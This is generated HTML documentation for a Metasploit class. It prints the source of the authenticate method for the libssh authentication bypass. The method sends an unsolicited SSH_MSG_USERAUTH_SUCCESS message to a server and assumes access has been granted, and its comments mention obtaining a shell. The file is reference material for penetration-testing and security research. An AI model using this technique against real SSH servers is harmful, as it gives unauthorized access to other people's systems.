jenkins-metasploit
242 lines
7.3 KiB
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242 lines
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Class: Net::SSH::Authentication::Methods::LibsshAuthBypass
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<span class='title'><span class='object_link'><a href="../../../../Msf.html" title="Msf (module)">Msf</a></span></span> » <span class='title'><span class='object_link'><a href="../../../../Msf/Exploit.html" title="Msf::Exploit (class)">Exploit</a></span></span> » <span class='title'><span class='object_link'><a href="../../../../Msf/Exploit/Remote.html" title="Msf::Exploit::Remote (class)">Remote</a></span></span> » <span class='title'><span class='object_link'><a href="../../../../Msf/Exploit/Remote/SSH.html" title="Msf::Exploit::Remote::SSH (module)">SSH</a></span></span> » <span class='title'><span class='object_link'><a href="../../../../Msf/Exploit/Remote/SSH/AuthMethods.html" title="Msf::Exploit::Remote::SSH::AuthMethods (module)">AuthMethods</a></span></span> » <span class='title'><span class='object_link'><a href="../../../../Msf/Exploit/Remote/SSH/AuthMethods/LibsshAuthBypass.html" title="Msf::Exploit::Remote::SSH::AuthMethods::LibsshAuthBypass (module)">LibsshAuthBypass</a></span></span> » <span class='title'>Net</span> » <span class='title'>SSH</span> » <span class='title'>Authentication</span> » <span class='title'>Methods</span>
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<span class="title">LibsshAuthBypass</span>
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<div id="content"><h1>Class: Net::SSH::Authentication::Methods::LibsshAuthBypass
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</h1>
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<span class="inheritName">Abstract</span>
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<li class="next">Net::SSH::Authentication::Methods::LibsshAuthBypass</li>
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<a href="#" class="inheritanceTree">show all</a>
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<dl>
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<dt>Defined in:</dt>
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<dd>lib/msf/core/exploit/remote/ssh/auth_methods/libssh_auth_bypass.rb</dd>
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<h2>Overview</h2><div class="docstring">
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<p><a href="https://tools.ietf.org/rfc/rfc4252.txt">tools.ietf.org/rfc/rfc4252.txt</a></p>
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Instance Method Summary
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<li class="public ">
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<a href="#authenticate-instance_method" title="#authenticate (instance method)">#<strong>authenticate</strong>(service_name, username, password = nil) ⇒ Object </a>
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<h2>Instance Method Details</h2>
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<div class="method_details first">
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<h3 class="signature first" id="authenticate-instance_method">
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#<strong>authenticate</strong>(service_name, username, password = nil) ⇒ <tt>Object</tt>
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</h3><table class="source_code">
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<tr>
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<td>
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<pre class="lines">
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<pre class="code"><span class="info file"># File 'lib/msf/core/exploit/remote/ssh/auth_methods/libssh_auth_bypass.rb', line 11</span>
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<span class='kw'>def</span> <span class='id identifier rubyid_authenticate'>authenticate</span><span class='lparen'>(</span><span class='id identifier rubyid_service_name'>service_name</span><span class='comma'>,</span> <span class='id identifier rubyid_username'>username</span><span class='comma'>,</span> <span class='id identifier rubyid_password'>password</span> <span class='op'>=</span> <span class='kw'>nil</span><span class='rparen'>)</span>
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<span class='id identifier rubyid_debug'>debug</span> <span class='lbrace'>{</span> <span class='tstring'><span class='tstring_beg'>'</span><span class='tstring_content'>Sending SSH_MSG_USERAUTH_SUCCESS</span><span class='tstring_end'>'</span></span> <span class='rbrace'>}</span>
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<span class='comment'># USERAUTH_SUCCESS is OOB and elicits no reply
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</span> <span class='id identifier rubyid_send_message'>send_message</span><span class='lparen'>(</span><span class='const'>Net</span><span class='op'>::</span><span class='const'>SSH</span><span class='op'>::</span><span class='const'>Buffer</span><span class='period'>.</span><span class='id identifier rubyid_from'>from</span><span class='lparen'>(</span>
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<span class='embdoc_beg'>=begin
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</span><span class='embdoc'> byte SSH_MSG_USERAUTH_SUCCESS
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</span><span class='embdoc_end'>=end
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</span> <span class='symbol'>:byte</span><span class='comma'>,</span> <span class='const'>USERAUTH_SUCCESS</span>
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<span class='rparen'>)</span><span class='rparen'>)</span>
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<span class='comment'># We can't fingerprint or otherwise reduce false positives using a session
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</span> <span class='comment'># channel open, since most implementations I've seen support only one
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</span> <span class='comment'># session channel and don't support channel closing, so this would block
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</span> <span class='comment'># us from getting a shell
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</span> <span class='comment'>#
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</span> <span class='comment'># Secondly, libssh doesn't send a CHANNEL_OPEN_FAILURE when we're not
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</span> <span class='comment'># authed, so we have to wait for a timeout on CHANNEL_OPEN to return false
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</span>
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<span class='comment'># So assume we succeeded until we can verify
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</span> <span class='kw'>true</span>
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<span class='kw'>end</span></pre>
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Generated on Fri May 8 17:03:55 2026 by
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<a href="https://yardoc.org" title="Yay! A Ruby Documentation Tool" target="_parent">yard</a>
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0.9.37 (ruby-3.1.5).
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